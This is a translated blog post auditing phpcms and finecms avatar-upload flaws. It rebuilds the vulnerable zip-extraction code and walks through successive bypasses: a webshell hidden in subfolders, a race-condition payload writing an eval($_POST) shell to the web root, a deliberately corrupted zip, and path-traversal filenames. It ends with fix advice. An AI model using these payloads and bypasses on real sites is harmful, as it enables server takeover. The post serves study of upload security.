Code audit learning phpcms avatar upload vulnerability

This article is based on the article of P God to carry out a learning recurrence, and understand some events in the security circle that year. The original address is as follows
Recalling the phpcms avatar upload vulnerability and its subsequent impact

0x01 Initial phpcms avatar upload getshell vulnerability

I don’t know if you still remember the avatar upload loophole in phpcms, which was once very popular. Because of this loophole, a large number of sites on the Internet were hacked, and the impact was extremely bad. To put it simply, phpcms handles uploading avatars in this way: the uploaded zip file is decompressed first, and then the non-picture files are deleted.
Key local code:

<?php
//存储flashpost图片
  $filename = $dir.$this->uid.'.zip';
  file_put_contents($filename, $this->avatardata);

//此时写入压缩文件夹内容

  //解压缩文件
  pc_base::load_app_class('pclzip', 'phpsso', 0);
  $archive = new PclZip($filename);
  if ($archive->extract(PCLZIP_OPT_PATH, $dir) == 0) {
    
    
   die("Error : ".$archive->errorInfo(true));
  }

//568 行

//判断文件安全,删除压缩包和非jpg图片
  $avatararr = array('180x180.jpg', '30x30.jpg', '45x45.jpg', '90x90.jpg');
  if($handle = opendir($dir)) {
    
    
      while(false !== ($file = readdir($handle))) {
    
    
    if($file !== '.' && $file !== '..') {
    
    
     if(!in_array($file, $avatararr)) {
    
    
      @unlink($dir.$file);
     } else {
    
    
      $info = @getimagesize($dir.$file);
      if(!$info || $info[2] !=2) {
    
    
       @unlink($dir.$file);
      }
     }
    }
}

According to the code logic of his code, I built the relevant environment by myself, as shown in the figure,
insert image description here
uploading the relevant php code for the first time

<?php
header("Content-Type:text/html; charset=utf-8");
require_once('pclzip.lib.php');

$file = $_FILES['file'];
if (!$file) {
    
    
    exit("请勿上传空文件");
}
$name = $file['name'];
$dir = 'upload/';
$ext = strtolower(substr(strrchr($name, '.'), 1));

//递归删除  zip  1   web.php
function check_dir($dir)
{
    
    
    $handle = opendir($dir);
    while (($f = readdir($handle)) !== false) {
    
    
        if (!in_array($f, array('.', '..'))) {
    
    
            $ext = strtolower(substr(strrchr($f, '.'), 1));
            if (!in_array($ext, array('jpg', 'gif', 'png'))) {
    
    
                unlink($dir . $f);
            }
        }
    }
}
if (!is_dir($dir)) {
    
    
    mkdir($dir);
}

 $temp_dir = $dir . 'member/1/';
if (!is_dir($temp_dir)) {
    
    
    mkdir($temp_dir);
}

if (in_array($ext, array('zip', 'jpg', 'gif', 'png'))) {
    
    
    if ($ext == 'zip') {
    
    

        $archive = new PclZip($file['tmp_name']);

        if ($archive->extract(PCLZIP_OPT_PATH, $temp_dir, PCLZIP_OPT_REPLACE_NEWER) == 0) {
    
    
            check_dir($dir);
            exit("解压失败");
        }
        check_dir($temp_dir);
        exit('上传成功!');
    } else {
    
    
        move_uploaded_file($file['tmp_name'], $temp_dir . '/' . $file['name']);
        check_dir($temp_dir);
        exit('上传成功!');
    }
} else {
    
    
    exit('仅允许上传zip、jpg、gif、png文件!');
}

The code logic is that after uploading a zip, a new directory will be created for decompression, a judgment will be made on the decompressed files, and files with suffixes other than image formats will be deleted.

Let's test it, directly compress the php code and normal pictures into web.zip for uploading.
insert image description here
Prompt to upload successfully
insert image description here

Enter the server to check, according to our code, a directory of member/1 will be generated, and we found that the compressed package we uploaded has been successfully decompressed, but the php code has been deleted, leaving only the picture

insert image description here

But because he didn't delete it recursively, nor did he delete the folder, so we can put the webshell in the folder of the compressed package to avoid being deleted. Put the picture and php code in a folder and then compress it into web.php and upload it
insert image description here
successfully
insert image description here

Check the member/1 directory and find that the php code in the folder we uploaded has not been deleted, and it has been bypassed successfully.
insert image description here
This is the earliest avatar upload vulnerability in phpcms. This vulnerability affects not only phpcms, but also finecms that copied its code.

finecms is a very pleasant cms. After phpcms had a problem, finecms secretly fixed the vulnerability. Of course, the repair method is to directly copy the phpcms patch.

0x02 finecms foreground getshell (phpcms patch bypass)

Later, the developer of finecms, thinking that he had a good reaction speed, copied the phpcms patch in the lightning-fast time, and then spent half a year of leisure time safely. But the phpcms patch has been bypassed countless times, don't you know? Do your users know that you are such a dick?

So, let's take a look at how finecms (similar to phpcms code) fixes this vulnerability:

<?php
public function upload() {
    
    
        if (!isset($GLOBALS['HTTP_RAW_POST_DATA'])) {
    
    

            exit('环境不支持');
        }
        $dir = FCPATH.'member/uploadfile/member/'.$this->uid.'/'; // 创建图片存储文件夹
        
        if (!file_exists($dir)) {
    
    

            mkdir($dir, 0777, true);

        }

        $filename = $dir.'avatar.zip'; // 存储flashpost图片

        file_put_contents($filename, $GLOBALS['HTTP_RAW_POST_DATA']);

        // 解压缩文件

        $this->load->library('Pclzip');

        $this->pclzip->PclFile($filename);

        if ($this->pclzip->extract(PCLZIP_OPT_PATH, $dir, PCLZIP_OPT_REPLACE_NEWER) == 0) {
    
    

            exit($this->pclzip->zip(true));

        }

        // 限制文件名称

        $avatararr = array('45x45.jpg', '90x90.jpg');

        // 删除多余目录

        $files = glob($dir."*");

        foreach($files as $_files) {
    
    

            if (is_dir($_files)) {
    
    

                dr_dir_delete($_files);

            }

            if (!in_array(basename($_files), $avatararr)) {
    
    

                @unlink($_files);

            }

        }

        // 判断文件安全,删除压缩包和非jpg图片

        if($handle = opendir($dir)) {
    
    

            while (false !== ($file = readdir($handle))) {
    
    

                if ($file !== '.' && $file !== '..') {
    
    

                    if (!in_array($file, $avatararr)) {
    
    

                        @unlink($dir . $file);

                    } else {
    
    

                        $info = @getimagesize($dir . $file);

                        if (!$info || $info[2] !=2) {
    
    

                            @unlink($dir . $file);

                        }

                    }

                }

            }

            closedir($handle);   

        }

        @unlink($filename);

Well, we have seen that the reason for the vulnerability before is that the illegal files in the root directory of the compressed package were not considered, but the illegal files in the folder were not deleted.

Therefore, the patch uses a recursive deletion method to delete all illegal files in the compressed package. This is the dr_dir_delete function.

We will not study this function, let's consider a situation, if I upload a compressed package containing this code:

<?php fputs(fopen('../../../../../shell.php','w'),'<?php phpinfo();eval($_POST[a]);?>');?>

Access it within the time difference between uploading and decompressing the file and deleting it, and a new php file can be generated in the root directory of the website, so the newly generated php file will not be deleted.

This is a competitive upload vulnerability. We need to seize this time difference and access the uploaded php file before it is deleted, so we can getshell violently.

So modify the environment we built before, and replace the recursively deleted function of the first function in the php code with the following code.

function check_dir($dir){
    
    
    $handle = opendir($dir);
    while(($f = readdir($handle)) !== false){
    
    
        if(!in_array($f, array('.', '..'))){
    
    
            if(is_dir($dir.$f)){
    
    
                check_dir($dir.$f.'/');
             }else{
    
    
                $ext = strtolower(substr(strrchr($f, '.'), 1));
                if(!in_array($ext, array('jpg', 'gif', 'png'))){
    
    
                    unlink($dir.$f);
                }
            }
        }
    }
}

Recursive deletion is used here, so the upload folder cannot be bypassed, we can try to test it.
insert image description here
After uploading, it was found that there were only pictures left in the folder, and the php code was deleted, but because the name of the code has not been modified after he uploaded the folder here, and he uploaded it first and then deleted it, so there is a time competition loophole. We can try it.

According to our previously uploaded path as

http://127.0.0.1/xss_location/upload.php/member/1/1/web.php

He needs to jump three times to reach the root directory, so our payload is as follows

<?php fputs(fopen('../../../payload.php','w'),'<?php phpinfo(); ?>');

Use the time competition vulnerability to directly write our one-sentence Trojan horse in the root directory, so that its recursive deletion only deletes the current folder, and will not detect the root directory. try it

Open burpsuit, upload 1.zip and resend it to the Intruder module, prepare to simulate multiple uploads,
insert image description here
set the number of visits to 5000 times,
insert image description here
capture the directory code we want to visit, upload it to the Intruder module,
insert image description here
set the payload to 6000 times,
insert image description here
and start attack at the same time .
However, because it may be the reason for the packet capture I built with this machine, the file was displayed and uploaded in the way of burp sending the packet, but the server could not receive it, but there must be this time competition problem in the code, so I won’t demonstrate it here .

0x03 Break through the cleverness of programmers, and continue to bypass the phpcms patch

So finecms realized its own problem and secretly patched this security problem. Here's how they fixed it:

<?php
// 创建图片存储的临时文件夹

   $temp = FCPATH.'cache/attach/'.md5(uniqid().rand(0, 9999)).'/';

   if (!file_exists($temp)) {
    
    

       mkdir($temp, 0777);

   }

   $filename = $temp.'avatar.zip'; // 存储flashpost图片

   file_put_contents($filename, $GLOBALS['HTTP_RAW_POST_DATA']);

   // 解压缩文件

   $this->load->library('Pclzip');

   $this->pclzip->PclFile($filename);

   if ($this->pclzip->extract(PCLZIP_OPT_PATH, $temp, PCLZIP_OPT_REPLACE_NEWER) == 0) {
    
    

       exit($this->pclzip->zip(true));

   }

   @unlink($filename);

Speaking of which, this is also the repair method of phpcms, which is to put the compressed package in a randomly named folder and then decompress it, so that you can't guess the access address and you can't go to violent getshell.

But in essence, this only solved a small sesame problem, and they did not fix the real loopholes.

We see this code:

<?php
if ($this->pclzip->extract(PCLZIP_OPT_PATH, $dir, PCLZIP_OPT_REPLACE_NEWER) == 0) {
    
    

    exit($this->pclzip->zip(true));

}

When the decompression fails, the decompression process is exited.

This is also a very common idea. If it fails, it must report an error and exit, because the following code cannot run. However, programmers don't think that some compressed packages can go wrong halfway through decompression.

What do you mean, that is to say, I can construct an "error" compressed package, which can decompress some files, but it will definitely make an error when the decompression is not completed. This caused a situation: half of the compressed package I uploaded was decompressed, and the webshell was decompressed, but because the decompression failed, the exit($this->pclzip->zip(true));program execution was exited here, and all subsequent deletion operations had no effect.

How to construct a compressed package that will cause errors in decompression, you can check my article on
how to construct an error zip

Here I use the built-in ZipArchive library in php to reproduce. First compress a php code and a txt text file into a zip file.
insert image description here
In order to make ZipArchive make mistakes, for example, the file name does not allow a colon (:) under Windows,
we can change the value of the deFileName property of 1.txt to "1.tx:" in 010editor.
insert image description here
At this time, an error will occur when decompressing, but 1.php is retained.
Try to upload, prompt fail to extract
insert image description here
Check the server and find that the php code successfully uploads
insert image description here
ZipArchive. The relevant code is as follows

    if ($ext == 'zip') {
    
    
        $zip = new ZipArchive;
        if(!$zip->open($file['tmp_name'])) {
    
    
            echo "fail";
            return false;
        }
        if(!$zip->extractTo($temp_dir)) {
    
    
            //check_dir($temp_dir);
            exit("fail to extract");
        }

0x04 Is it really safe to add a line of code? On the last resort!

Finally, after the official website of finecms was desecrated by P God, it is still shameless to say that it has fixed this loophole, which is really strange.

last updated code

<?php
if (!isset($GLOBALS['HTTP_RAW_POST_DATA'])) {
    
    

    exit('环境不支持');

}

// 创建图片存储文件夹

$dir = FCPATH.'member/uploadfile/member/'.$this->uid.'/';

if (!file_exists($dir)) {
    
    

    mkdir($dir, 0777, true);

}

// 创建图片存储的临时文件夹

$temp = FCPATH.'cache/attach/'.md5(uniqid().rand(0, 9999)).'/';

if (!file_exists($temp)) {
    
    

    mkdir($temp, 0777);

}

$filename = $temp.'avatar.zip'; // 存储flashpost图片

file_put_contents($filename, $GLOBALS['HTTP_RAW_POST_DATA']);

// 解压缩文件

$this->load->library('Pclzip');

$this->pclzip->PclFile($filename);

if ($this->pclzip->extract(PCLZIP_OPT_PATH, $temp, PCLZIP_OPT_REPLACE_NEWER) == 0) {
    
    

    @dr_dir_delete($temp);

    exit($this->pclzip->zip(true));

}

@unlink($filename);

Added a line of code: @dr_dir_delete($temp);, after decompression error, delete the decompressed content before exit. It does avoid the security issues I mentioned in 0×03.

But the developers of finecms still haven't been able to see the real cause of this vulnerability.

The reason lies in the operation of decompressing the compressed package. You can just copy other people’s codes for this class and feel that it’s over. Do you know the real usage of this class? Guess how I bypassed the appeal patch this time.

File names such as ".../" and "..." are usually not included in the compressed package, but usually not including it does not mean that it cannot be included. If I change the name of a certain file in the compressed package to …/…/…/…/…/index.php, can I directly turn your homepage into my webshell?

This is because plagiarists did not really understand how to use the zip class, which led to this security problem. I can modify and construct a compressed package locally with notepad++.

First change the name of your shell to aaaaaaaaaaaaaaaaaaaaaa.php

The reason for this name is to reserve some space so that I can change the file name to .../…/aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa.

Pack the file directly into zip and open it with 010Editor:
modify it as shown in the figure
insert image description here

And then you're done.

When uploading the avatar, capture the package and paste the compressed package just constructed:
insert image description here

Then, there will be your shell in the root directory of the website: aaaaaaaaaaa.php
insert image description here

Through this method, you can getshell unlimited

0x05 summary, how to fix this security issue

What is the reason for this vulnerability? The root cause is that you wrote the user’s unsafe POST data into a file and decompressed it to the web directory.

There are countless ways to avoid this problem in the world. Is it really good to just write files in the web directory? Why don't you put the compressed package in the tmp directory, if the upload and decompression operations can be completed in the tmp directory, and then copy the avatar file we need to the web directory, will there still be such a troublesome security problem?

phpcms has completely abandoned the way of decompression, and directly uploads the image after processing it at the front end. But the ignorant finecms developers still hold their own ignorant ideas and use a method almost "blacklist" to solve this problem, that is, hackers will make up whatever they want, and they will never know where the hackers will enter next. Such a person will always be left behind and beaten. Sooner or later, such a cms will become a patched rag, and every patch will cost countless speed and efficiency. So now finecms has been eliminated by the times

Guess you like

Origin blog.csdn.net/m0_46467017/article/details/126358718